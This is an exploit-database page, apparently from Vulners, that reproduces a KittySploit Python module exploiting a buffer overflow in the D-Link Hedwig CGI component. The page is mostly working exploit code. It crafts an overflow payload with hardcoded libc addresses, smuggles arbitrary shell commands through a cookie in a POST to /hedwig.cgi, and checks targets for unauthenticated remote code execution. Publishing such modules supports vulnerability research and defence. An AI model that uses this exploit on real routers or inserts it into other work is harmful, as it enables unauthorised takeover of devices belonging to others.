Lucene search
+L

D-Link Hedwig CGI RCE

🗓️ 19 Aug 2026 05:37:22Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Buffer overflow in D-Link Hedwig CGI component enables remote code execution.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link Hedwig CGI RCE"""

import struct

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'D-Link Hedwig CGI RCE',
        'description': 'Module exploits buffer overflow vulnerablity in D-Link Hedwig CGI component, which leads to remote code execution.',
        'author': ['Austin'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt', 'https://www.exploit-db.com/exploits/27283/'],
        'tags': ['iot', 'router', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def execute(self, cmd):
        cmd = cmd.encode("utf-8")

        libcbase = 0x2aaf8000
        system = 0x000531FF
        calcsystem = 0x000158C8
        callsystem = 0x000159CC
        shellcode = self.random_text(973).encode("utf-8")
        shellcode += struct.pack("<I", libcbase + system)
        shellcode += self.random_text(16).encode("utf-8")
        shellcode += struct.pack("<I", libcbase + callsystem)
        shellcode += self.random_text(12).encode("utf-8")
        shellcode += struct.pack("<I", libcbase + calcsystem)
        shellcode += self.random_text(16).encode("utf-8")
        shellcode += cmd

        headers = {
            "Content-Type": "application/x-www-form-urlencoded",
            "Cookie": b"uid=" + shellcode + b";"
        }

        data = {
            self.random_text(7): self.random_text(7)
        }

        response = self.http_request(
            method="POST",
            path="/hedwig.cgi",
            headers=headers,
            data=data,
        )

        if response is None:
            return ""

        return response.text[response.text.find("</hedwig>") + len("</hedwig>"):].strip()
    def check(self):
        fingerprint = self.random_text(10)
        cmd = "echo {}".format(fingerprint)

        response = self.execute(cmd)

        if fingerprint in response:
            return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Aug 2026 05:37Current
6.6Medium risk
Vulners AI Score6.6
1